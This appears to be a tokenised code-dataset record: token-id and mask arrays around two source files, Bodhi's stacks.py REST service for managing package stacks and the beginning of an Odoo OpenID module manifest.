837,
272,
9701,
342,
339,
334,
476,
12,
325,
89,
12,
325,
90,
9,
275,
603,
54,
14,
2758,
360,
69,
10,
88,
92,
89,
92,
90,
358,
272,
437,
275,
603,
54,
360,
33,
297,
283,
12393,
358,
272,
870,
8,
82,
1154,
12648,
91,
33,
93,
28414,
437,
9,
272,
437,
14,
38,
2037,
8,
18,
12,
519,
1154,
12648,
91,
33,
12216,
272,
437,
14,
38,
2037,
8,
19,
12,
519,
1154,
12648,
91,
33,
12216,
339,
1323,
275,
334,
88,
12,
612,
12,
1315,
9,
275,
6698,
360,
88,
612,
1315,
358,
272,
334,
476,
12,
325,
89,
12,
325,
90,
12,
7659,
9,
275,
603,
54,
14,
2758,
360,
69,
63,
88,
325,
63,
89,
325,
63,
90,
297,
6370,
30845,
17,
12,
17,
12,
17,
4300,
13259,
29,
56,
9,
339,
289,
275,
603,
54,
360,
70,
297,
283,
7033,
297,
289,
319,
29,
549,
9,
272,
437,
275,
603,
54,
360,
33,
297,
283,
4106,
297,
289,
319,
29,
549,
9,
272,
699,
275,
603,
54,
360,
34,
297,
283,
4523,
18,
297,
289,
319,
29,
549,
9,
339,
870,
8,
82,
1154,
12648,
91,
33,
93,
28414,
437,
9,
272,
870,
8,
82,
1154,
12648,
91,
34,
93,
28414,
699,
9,
339,
870,
360,
6017,
10,
70,
28414,
7659,
10,
70,
9,
272,
870,
8,
82,
7,
6017,
6113,
12648,
91,
33,
93,
28414,
7659,
1204,
437,
9,
272,
870,
8,
82,
7,
6017,
7590,
12648,
91,
33,
93,
28414,
7659,
10,
33,
9,
339,
870,
8,
82,
12418,
41,
5830,
6017,
12773,
12648,
91,
33,
1552,
28414,
446,
25875,
14,
41,
5830,
6017,
7167,
437,
430,
272,
870,
8,
82,
7,
6017,
7590,
12648,
91,
34,
93,
28414,
7659,
10,
34,
9,
272,
870,
8,
82,
7,
6017,
12773,
12648,
91,
34,
93,
28414,
7659,
7167,
699,
9,
272,
870,
8,
82,
7,
6017,
6113,
12648,
91,
34,
93,
28414,
7659,
1204,
699,
9,
339,
334,
65,
12,
330,
12,
286,
12,
366,
9,
275,
603,
54,
14,
2758,
360,
65,
330,
286,
366,
358,
339,
870,
360,
71,
7348,
7879,
93,
28414,
603,
54,
14,
5165,
9,
339,
870,
11671,
12648,
91,
65,
92,
8,
66,
10,
67,
6769,
28414,
282,
1204,
334,
66,
10,
67,
430,
272,
870,
11671,
12648,
91,
65,
92,
8,
66,
62,
67,
6769,
28414,
282,
1204,
334,
66,
7167,
286,
430,
272,
870,
11671,
12648,
91,
65,
92,
8,
66,
62,
67,
62,
68,
6769,
28414,
282,
1204,
334,
66,
7167,
286,
7167,
366,
430,
272,
870,
11671,
12648,
91,
65,
92,
8,
66,
62,
67,
6393,
67,
92,
8,
65,
62,
66,
6393,
66,
92,
8,
67,
62,
65,
6769,
28414,
334,
65,
1204,
334,
66,
7167,
286,
430,
435,
334,
67,
1204,
334,
65,
7167,
330,
430,
435,
334,
66,
1204,
334,
67,
7167,
282,
1724,
272,
870,
11671,
12648,
91,
65,
5830,
66,
62,
67,
7216,
66,
5830,
65,
62,
67,
6393,
67,
5830,
65,
62,
66,
6769,
28414,
282,
5830,
66,
7167,
286,
9,
446,
330,
5830,
65,
7167,
286,
9,
435,
286,
5830,
65,
7167,
330,
430,
272,
870,
11671,
12648,
91,
65,
5830,
66,
62,
67,
62,
68,
7216,
66,
5830,
65,
62,
67,
62,
68,
6393,
67,
5830,
65,
62,
66,
62,
68,
7216,
68,
5830,
65,
62,
66,
62,
67,
6769,
28414,
282,
5830,
66,
7167,
286,
7167,
366,
9,
446,
330,
5830,
65,
7167,
286,
7167,
366,
9,
435,
286,
5830,
65,
7167,
330,
7167,
366,
9,
446,
366,
5830,
65,
7167,
330,
7167,
286,
430,
272,
870,
11671,
12648,
91,
8,
65,
62,
66,
8636,
8,
67,
62,
68,
6769,
28414,
334,
65,
7167,
330,
9,
1204,
334,
67,
7167,
366,
430,
272,
870,
11671,
12648,
91,
1332,
65,
62,
66,
8636,
67,
8636,
68,
93,
28414,
3666,
65,
7167,
330,
9,
1204,
286,
9,
1204,
366,
9,
272,
870,
11671,
12648,
91,
8,
65,
62,
66,
22532,
4508,
334,
67,
62,
68,
6769,
28414,
5429,
8,
65,
7167,
330,
12,
286,
7167,
366,
430,
339,
6370,
275,
283,
17,
327,
327,
2584,
435,
971,
1467,
3943,
413,
327,
2584,
435,
971,
1467,
3943,
327,
413,
2584,
339,
334,
69,
17,
12,
325,
18,
12,
325,
19,
9,
275,
603,
54,
14,
2758,
360,
69,
17,
325,
18,
325,
19,
297,
6370,
9,
339,
662,
275,
325,
17,
7167,
325,
18,
7167,
325,
19,
272,
662,
3526,
275,
334,
37,
10,
37,
680,
7033,
342,
272,
870,
360,
37,
28414,
662,
9,
272,
870,
3508,
37,
11683,
18,
93,
28414,
662,
3526,
9,
272,
662,
3526,
63,
5350,
275,
413,
15,
37,
3526,
339,
662,
17,
275,
334,
69,
18,
7167,
325,
19,
3342,
37,
272,
662,
18,
275,
5868,
17,
14397,
69,
17,
7167,
325,
19,
3342,
37,
272,
662,
19,
275,
334,
69,
17,
7167,
325,
18,
3342,
37,
339,
870,
360,
37,
17,
275,
334,
69,
18,
62,
69,
19,
3342,
37,
28414,
662,
17,
9,
272,
870,
360,
37,
18,
275,
15426,
69,
17,
62,
69,
19,
3342,
37,
28414,
662,
18,
9,
272,
870,
360,
37,
19,
275,
334,
69,
17,
62,
69,
18,
3342,
37,
28414,
662,
19,
9,
339,
870,
360,
37,
17,
92,
69,
18,
28414,
334,
37,
17,
1204,
325,
18,
680,
4441,
1012,
272,
870,
360,
37,
17,
92,
69,
19,
28414,
334,
37,
17,
1204,
325,
19,
680,
4441,
1012,
272,
870,
360,
37,
18,
92,
69,
17,
28414,
334,
37,
18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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
farhaanbukhsh/bodhi
|
bodhi/services/stacks.py
|
4
|
7448
|
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
import math
from cornice import Service
from pyramid.view import view_config
from pyramid.exceptions import HTTPForbidden
from pyramid.security import authenticated_userid
from sqlalchemy import func, distinct
from sqlalchemy.sql import or_
from bodhi import log, notifications
from bodhi.models import Package, Stack, Group, User
import bodhi.schemas
import bodhi.security
import bodhi.services.errors
from bodhi.util import tokenize
from bodhi.validators import (
validate_packages,
validate_stack,
validate_requirements,
)
stack = Service(name='stack', path='/stacks/{name}',
validators=(validate_stack,),
description='Bodhi Stacks',
# Note, this 'rw' is not a typo. there are deletes and posts.
cors_origins=bodhi.security.cors_origins_rw)
stacks = Service(name='stacks', path='/stacks/',
description='Bodhi Stacks',
# Not a typo. there are deletes and posts in here.
cors_origins=bodhi.security.cors_origins_rw)
@stack.get(accept="text/html", renderer="new_stack.html",
error_handler=bodhi.services.errors.html_handler)
@stack.get(accept=('application/json', 'text/json'), renderer='json',
error_handler=bodhi.services.errors.json_handler)
@stack.get(accept=('application/javascript'), renderer='jsonp',
error_handler=bodhi.services.errors.jsonp_handler)
def get_stack(request):
"""Return a single Stack from its name"""
return dict(stack=request.validated['stack'])
@stacks.get(accept="text/html", renderer='stacks.html',
error_handler=bodhi.services.errors.html_handler,
schema=bodhi.schemas.ListStackSchema,
validators=(validate_packages,))
@stacks.get(accept=('application/json', 'text/json'),
error_handler=bodhi.services.errors.json_handler,
schema=bodhi.schemas.ListStackSchema,
validators=(validate_packages,), renderer='json')
def query_stacks(request):
"""Return a paginated list of stacks"""
data = request.validated
query = request.db.query(Stack).order_by(Stack.name.desc())
name = data.get('name')
if name:
query = query.filter_by(name=name)
like = data.get('like')
if like:
query = query.filter(Stack.name.like('%%%s%%' % like))
packages = data.get('packages')
if packages:
query = query.join(Package.stack)
query = query.filter(or_(*[Package.name==pkg.name for pkg in packages]))
# We can't use ``query.count()`` here because it is naive with respect to
# all the joins that we're doing above.
count_query = query.with_labels().statement\
.with_only_columns([func.count(distinct(Stack.id))])\
.order_by(None)
total = request.db.execute(count_query).scalar()
page = data.get('page')
rows_per_page = data.get('rows_per_page')
pages = int(math.ceil(total / float(rows_per_page)))
query = query.offset(rows_per_page * (page - 1)).limit(rows_per_page)
return dict(
stacks=query.all(),
page=page,
pages=pages,
rows_per_page=rows_per_page,
total=total,
)
@stacks.post(schema=bodhi.schemas.SaveStackSchema,
acl=bodhi.security.packagers_allowed_acl,
validators=(validate_requirements,), renderer='json',
error_handler=bodhi.services.errors.json_handler)
def save_stack(request):
"""Save a stack"""
data = request.validated
db = request.db
user = User.get(request.user.name, db)
# Fetch or create the stack
stack = Stack.get(data['name'], db)
if not stack:
stack = Stack(name=data['name'], users=[user])
db.add(stack)
db.flush()
if stack.users or stack.groups:
if user in stack.users:
log.info('%s is an owner of the %s', user.name, stack.name)
else:
for group in user.groups:
if group in stack.groups:
log.info('%s is a member of the %s group', user.name, stack.name)
break
else:
log.warn('%s is not an owner of the %s stack',
user.name, stack.name)
log.debug('owners = %s; groups = %s', stack.users, stack.groups)
request.errors.add('body', 'name', '%s does not have privileges'
' to modify the %s stack' % (user.name, stack.name))
request.errors.status = HTTPForbidden.code
return
# Update the stack description
desc = data['description']
if desc:
stack.description = desc
# Update the stack requirements
# If the user passed in no value at all for requirements, then use
# the site defaults. If, however, the user passed in the empty string, we
# assume they mean *really*, no requirements so we leave the value null.
reqs = data['requirements']
if reqs is None:
stack.requirements = request.registry.settings.get('site_requirements')
elif reqs:
stack.requirements = reqs
stack.update_relationship('users', User, data, db)
stack.update_relationship('groups', Group, data, db)
# We make a special case out of packages here, since when a package is
# added to a stack, we want to give it the same requirements as the stack
# has. See https://github.com/fedora-infra/bodhi/issues/101
new, same, rem = stack.update_relationship('packages', Package, data, db)
if stack.requirements:
additional = list(tokenize(stack.requirements))
for name in new:
package = Package.get(name, db)
original = package.requirements
original = [] if not original else list(tokenize(original))
package.requirements = " ".join(list(set(original + additional)))
log.info('Saved %s stack', data['name'])
notifications.publish(topic='stack.save', msg=dict(
stack=stack, agent=user.name))
return dict(stack=stack)
@stack.delete(acl=bodhi.security.packagers_allowed_acl, renderer='json',
error_handler=bodhi.services.errors.json_handler)
def delete_stack(request):
"""Delete a stack"""
stack = request.validated['stack']
notifications.publish(topic='stack.delete', msg=dict(
stack=stack, agent=request.user.name))
request.db.delete(stack)
log.info('Deleted stack: %s', stack.name)
return dict(status=u'success')
@view_config(route_name='new_stack', renderer='new_stack.html')
def new_stack(request):
""" Returns the new stack form """
user = authenticated_userid(request)
if not user:
raise HTTPForbidden("You must be logged in.")
return dict()
|
gpl-2.0
|
[
3,
961,
2240,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
199,
3,
2811,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
199,
3,
465,
3267,
701,
314,
2868,
2290,
2752,
27,
1902,
1015,
499,
199,
3,
402,
314,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
642,
2240,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
199,
3,
2752,
12,
3277,
2020,
8026,
11236,
14259,
12,
12066,
11844,
12,
8226,
12,
4828,
221,
11315,
13,
10067,
12,
8217,
14,
199,
199,
646,
3473,
199,
199,
504,
1970,
22746,
492,
7591,
199,
504,
30704,
14,
1345,
492,
2455,
63,
888,
199,
504,
30704,
14,
3924,
492,
3101,
17454,
199,
504,
30704,
14,
4416,
492,
15082,
63,
19737,
199,
504,
8335,
492,
2562,
12,
15392,
199,
504,
8335,
14,
3009,
492,
503,
63,
199,
199,
504,
330,
364,
5812,
492,
943,
12,
13116,
199,
504,
330,
364,
5812,
14,
992,
492,
15665,
12,
13894,
12,
5611,
12,
2876,
199,
646,
330,
364,
5812,
14,
9482,
199,
646,
330,
364,
5812,
14,
4416,
199,
646,
330,
364,
5812,
14,
5950,
14,
2550,
199,
504,
330,
364,
5812,
14,
1974,
492,
13343,
199,
504,
330,
364,
5812,
14,
11346,
492,
334,
272,
4107,
63,
5154,
12,
272,
4107,
63,
2340,
12,
272,
4107,
63,
7538,
12,
199,
9,
421,
199,
2340,
275,
7591,
8,
354,
534,
2340,
297,
931,
8805,
21707,
5321,
354,
7293,
355,
14370,
2687,
3502,
63,
2340,
4706,
355,
1369,
534,
34,
364,
5812,
7083,
5618,
297,
355,
327,
3390,
12,
642,
283,
13057,
7,
365,
440,
282,
24013,
14,
221,
2337,
787,
21812,
436,
22238,
14,
355,
286,
1384,
63,
2981,
3617,
29,
66,
364,
5812,
14,
4416,
14,
30967,
63,
2981,
3617,
63,
13057,
9,
199,
21707,
275,
7591,
8,
354,
534,
21707,
297,
931,
8805,
21707,
3678,
326,
1369,
534,
34,
364,
5812,
7083,
5618,
297,
326,
327,
2832,
282,
24013,
14,
221,
2337,
787,
21812,
436,
22238,
315,
2348,
14,
326,
286,
1384,
63,
2981,
3617,
29,
66,
364,
5812,
14,
4416,
14,
30967,
63,
2981,
3617,
63,
13057,
9,
421,
199,
32,
2340,
14,
362,
8,
5694,
628,
505,
15,
1360,
401,
11889,
628,
1222,
63,
2340,
14,
1360,
401,
1779,
1125,
63,
2232,
29,
66,
364,
5812,
14,
5950,
14,
2550,
14,
1360,
63,
2232,
9,
199,
32,
2340,
14,
362,
8,
5694,
7782,
3578,
15,
1001,
297,
283,
505,
15,
1001,
659,
11889,
534,
1001,
297,
1779,
1125,
63,
2232,
29,
66,
364,
5812,
14,
5950,
14,
2550,
14,
1001,
63,
2232,
9,
199,
32,
2340,
14,
362,
8,
5694,
7782,
3578,
15,
9554,
659,
11889,
534,
1001,
80,
297,
1779,
1125,
63,
2232,
29,
66,
364,
5812,
14,
5950,
14,
2550,
14,
1001,
80,
63,
2232,
9,
199,
318,
664,
63,
2340,
8,
1069,
304,
272,
408,
1767,
282,
2849,
13894,
687,
2399,
536,
624,
272,
372,
1211,
8,
2340,
29,
1069,
14,
24372,
459,
2340,
1105,
421,
199,
32,
21707,
14,
362,
8,
5694,
628,
505,
15,
1360,
401,
11889,
534,
21707,
14,
1360,
297,
288,
1125,
63,
2232,
29,
66,
364,
5812,
14,
5950,
14,
2550,
14,
1360,
63,
2232,
12,
288,
4177,
29,
66,
364,
5812,
14,
9482,
14,
1296,
4851,
6700,
12,
288,
14370,
2687,
3502,
63,
5154,
4641,
199,
32,
21707,
14,
362,
8,
5694,
7782,
3578,
15,
1001,
297,
283,
505,
15,
1001,
659,
288,
1125,
63,
2232,
29,
66,
364,
5812,
14,
5950,
14,
2550,
14,
1001,
63,
2232,
12,
288,
4177,
29,
66,
364,
5812,
14,
9482,
14,
1296,
4851,
6700,
12,
288,
14370,
2687,
3502,
63,
5154,
4706,
11889,
534,
1001,
358,
199,
318,
1827,
63,
21707,
8,
1069,
304,
272,
408,
1767,
282,
9881,
23831,
769,
402,
26733,
624,
272,
666,
275,
1056,
14,
24372,
272,
1827,
275,
1056,
14,
697,
14,
1131,
8,
4851,
680,
1648,
63,
991,
8,
4851,
14,
354,
14,
3257,
1012,
339,
536,
275,
666,
14,
362,
360,
354,
358,
272,
340,
536,
26,
267,
1827,
275,
1827,
14,
1541,
63,
991,
8,
354,
29,
354,
9,
339,
2839,
275,
666,
14,
362,
360,
2930,
358,
272,
340,
2839,
26,
267,
1827,
275,
1827,
14,
1541,
8,
4851,
14,
354,
14,
2930,
3508,
8530,
83,
8530,
7,
450,
2839,
430,
339,
6117,
275,
666,
14,
362,
360,
5154,
358,
272,
340,
6117,
26,
267,
1827,
275,
1827,
14,
904,
8,
8599,
14,
2340,
9,
267,
1827,
275,
1827,
14,
1541,
8,
269,
63,
23151,
8599,
14,
354,
389,
4600,
14,
354,
367,
5496,
315,
6117,
2459,
339,
327,
2136,
883,
1133,
675,
1124,
1131,
14,
835,
8497,
2348,
2952,
652,
365,
19995,
543,
14021,
370,
272,
327,
1006,
314,
18266,
626,
781,
3984,
9689,
3432,
14,
272,
2338,
63,
1131,
275,
1827,
14,
1045,
63,
3512,
1252,
6242,
60,
267,
1275,
1045,
63,
2118,
63,
3406,
779,
1532,
14,
835,
8,
12926,
8,
4851,
14,
344,
18229,
60,
267,
1275,
1648,
63,
991,
8,
403,
9,
272,
3141,
275,
1056,
14,
697,
14,
2526,
8,
835,
63,
1131,
680,
7033,
342,
339,
2034,
275,
666,
14,
362,
360,
1606,
358,
272,
4730,
63,
529,
63,
1606,
275,
666,
14,
362,
360,
3838,
63,
529,
63,
1606,
358,
272,
6497,
275,
1109,
8,
3442,
14,
14085,
8,
2923,
1182,
2069,
8,
3838,
63,
529,
63,
1606,
1724,
272,
1827,
275,
1827,
14,
2743,
8,
3838,
63,
529,
63,
1606,
627,
334,
1606,
446,
413,
4992,
3097,
8,
3838,
63,
529,
63,
1606,
9,
339,
372,
1211,
8,
267,
26733,
29,
1131,
14,
452,
1062,
267,
2034,
29,
1606,
12,
267,
6497,
29,
5856,
12,
267,
4730,
63,
529,
63,
1606,
29,
3838,
63,
529,
63,
1606,
12,
267,
3141
] |
[
961,
2240,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
199,
3,
2811,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
199,
3,
465,
3267,
701,
314,
2868,
2290,
2752,
27,
1902,
1015,
499,
199,
3,
402,
314,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
642,
2240,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
199,
3,
2752,
12,
3277,
2020,
8026,
11236,
14259,
12,
12066,
11844,
12,
8226,
12,
4828,
221,
11315,
13,
10067,
12,
8217,
14,
199,
199,
646,
3473,
199,
199,
504,
1970,
22746,
492,
7591,
199,
504,
30704,
14,
1345,
492,
2455,
63,
888,
199,
504,
30704,
14,
3924,
492,
3101,
17454,
199,
504,
30704,
14,
4416,
492,
15082,
63,
19737,
199,
504,
8335,
492,
2562,
12,
15392,
199,
504,
8335,
14,
3009,
492,
503,
63,
199,
199,
504,
330,
364,
5812,
492,
943,
12,
13116,
199,
504,
330,
364,
5812,
14,
992,
492,
15665,
12,
13894,
12,
5611,
12,
2876,
199,
646,
330,
364,
5812,
14,
9482,
199,
646,
330,
364,
5812,
14,
4416,
199,
646,
330,
364,
5812,
14,
5950,
14,
2550,
199,
504,
330,
364,
5812,
14,
1974,
492,
13343,
199,
504,
330,
364,
5812,
14,
11346,
492,
334,
272,
4107,
63,
5154,
12,
272,
4107,
63,
2340,
12,
272,
4107,
63,
7538,
12,
199,
9,
421,
199,
2340,
275,
7591,
8,
354,
534,
2340,
297,
931,
8805,
21707,
5321,
354,
7293,
355,
14370,
2687,
3502,
63,
2340,
4706,
355,
1369,
534,
34,
364,
5812,
7083,
5618,
297,
355,
327,
3390,
12,
642,
283,
13057,
7,
365,
440,
282,
24013,
14,
221,
2337,
787,
21812,
436,
22238,
14,
355,
286,
1384,
63,
2981,
3617,
29,
66,
364,
5812,
14,
4416,
14,
30967,
63,
2981,
3617,
63,
13057,
9,
199,
21707,
275,
7591,
8,
354,
534,
21707,
297,
931,
8805,
21707,
3678,
326,
1369,
534,
34,
364,
5812,
7083,
5618,
297,
326,
327,
2832,
282,
24013,
14,
221,
2337,
787,
21812,
436,
22238,
315,
2348,
14,
326,
286,
1384,
63,
2981,
3617,
29,
66,
364,
5812,
14,
4416,
14,
30967,
63,
2981,
3617,
63,
13057,
9,
421,
199,
32,
2340,
14,
362,
8,
5694,
628,
505,
15,
1360,
401,
11889,
628,
1222,
63,
2340,
14,
1360,
401,
1779,
1125,
63,
2232,
29,
66,
364,
5812,
14,
5950,
14,
2550,
14,
1360,
63,
2232,
9,
199,
32,
2340,
14,
362,
8,
5694,
7782,
3578,
15,
1001,
297,
283,
505,
15,
1001,
659,
11889,
534,
1001,
297,
1779,
1125,
63,
2232,
29,
66,
364,
5812,
14,
5950,
14,
2550,
14,
1001,
63,
2232,
9,
199,
32,
2340,
14,
362,
8,
5694,
7782,
3578,
15,
9554,
659,
11889,
534,
1001,
80,
297,
1779,
1125,
63,
2232,
29,
66,
364,
5812,
14,
5950,
14,
2550,
14,
1001,
80,
63,
2232,
9,
199,
318,
664,
63,
2340,
8,
1069,
304,
272,
408,
1767,
282,
2849,
13894,
687,
2399,
536,
624,
272,
372,
1211,
8,
2340,
29,
1069,
14,
24372,
459,
2340,
1105,
421,
199,
32,
21707,
14,
362,
8,
5694,
628,
505,
15,
1360,
401,
11889,
534,
21707,
14,
1360,
297,
288,
1125,
63,
2232,
29,
66,
364,
5812,
14,
5950,
14,
2550,
14,
1360,
63,
2232,
12,
288,
4177,
29,
66,
364,
5812,
14,
9482,
14,
1296,
4851,
6700,
12,
288,
14370,
2687,
3502,
63,
5154,
4641,
199,
32,
21707,
14,
362,
8,
5694,
7782,
3578,
15,
1001,
297,
283,
505,
15,
1001,
659,
288,
1125,
63,
2232,
29,
66,
364,
5812,
14,
5950,
14,
2550,
14,
1001,
63,
2232,
12,
288,
4177,
29,
66,
364,
5812,
14,
9482,
14,
1296,
4851,
6700,
12,
288,
14370,
2687,
3502,
63,
5154,
4706,
11889,
534,
1001,
358,
199,
318,
1827,
63,
21707,
8,
1069,
304,
272,
408,
1767,
282,
9881,
23831,
769,
402,
26733,
624,
272,
666,
275,
1056,
14,
24372,
272,
1827,
275,
1056,
14,
697,
14,
1131,
8,
4851,
680,
1648,
63,
991,
8,
4851,
14,
354,
14,
3257,
1012,
339,
536,
275,
666,
14,
362,
360,
354,
358,
272,
340,
536,
26,
267,
1827,
275,
1827,
14,
1541,
63,
991,
8,
354,
29,
354,
9,
339,
2839,
275,
666,
14,
362,
360,
2930,
358,
272,
340,
2839,
26,
267,
1827,
275,
1827,
14,
1541,
8,
4851,
14,
354,
14,
2930,
3508,
8530,
83,
8530,
7,
450,
2839,
430,
339,
6117,
275,
666,
14,
362,
360,
5154,
358,
272,
340,
6117,
26,
267,
1827,
275,
1827,
14,
904,
8,
8599,
14,
2340,
9,
267,
1827,
275,
1827,
14,
1541,
8,
269,
63,
23151,
8599,
14,
354,
389,
4600,
14,
354,
367,
5496,
315,
6117,
2459,
339,
327,
2136,
883,
1133,
675,
1124,
1131,
14,
835,
8497,
2348,
2952,
652,
365,
19995,
543,
14021,
370,
272,
327,
1006,
314,
18266,
626,
781,
3984,
9689,
3432,
14,
272,
2338,
63,
1131,
275,
1827,
14,
1045,
63,
3512,
1252,
6242,
60,
267,
1275,
1045,
63,
2118,
63,
3406,
779,
1532,
14,
835,
8,
12926,
8,
4851,
14,
344,
18229,
60,
267,
1275,
1648,
63,
991,
8,
403,
9,
272,
3141,
275,
1056,
14,
697,
14,
2526,
8,
835,
63,
1131,
680,
7033,
342,
339,
2034,
275,
666,
14,
362,
360,
1606,
358,
272,
4730,
63,
529,
63,
1606,
275,
666,
14,
362,
360,
3838,
63,
529,
63,
1606,
358,
272,
6497,
275,
1109,
8,
3442,
14,
14085,
8,
2923,
1182,
2069,
8,
3838,
63,
529,
63,
1606,
1724,
272,
1827,
275,
1827,
14,
2743,
8,
3838,
63,
529,
63,
1606,
627,
334,
1606,
446,
413,
4992,
3097,
8,
3838,
63,
529,
63,
1606,
9,
339,
372,
1211,
8,
267,
26733,
29,
1131,
14,
452,
1062,
267,
2034,
29,
1606,
12,
267,
6497,
29,
5856,
12,
267,
4730,
63,
529,
63,
1606,
29,
3838,
63,
529,
63,
1606,
12,
267,
3141,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
sbidoul/odoo
|
addons/auth_openid/__openerp__.py
|
313
|
1628
|
# -*- coding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2010-2012 OpenERP s.a. (<http://openerp.com>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
{
'name': 'OpenID Authentification',
'version': '2.0',
'category': 'Tools',
'description': """
Allow users to login through OpenID.
====================================
""",
'author': 'OpenERP s.a.',
'maintainer': 'OpenERP s.a.',
'website': 'https://www.odoo.com',
'depends': ['base', 'web'],
'data': [
'res_users.xml',
'views/auth_openid.xml',
],
'qweb': ['static/src/xml/auth_openid.xml'],
'external_dependencies': {
'python' : ['openid'],
},
'installable': True,
'auto_install': False,
}
# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
|
agpl-3.0
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
4605,
199,
3,
199,
3,
259,
7653,
12,
3232,
5800,
8259,
9274,
199,
3,
259,
1898,
334,
35,
9,
7129,
13,
7409,
7653,
308,
14,
65,
14,
8642,
1014,
921,
11267,
14,
957,
10121,
199,
3,
199,
3,
259,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
259,
652,
1334,
314,
2895,
402,
314,
1664,
4265,
1696,
1684,
844,
465,
199,
3,
259,
3267,
701,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
199,
3,
259,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
259,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
259,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
259,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
259,
1664,
4265,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
259,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
4265,
1696,
1684,
844,
199,
3,
259,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
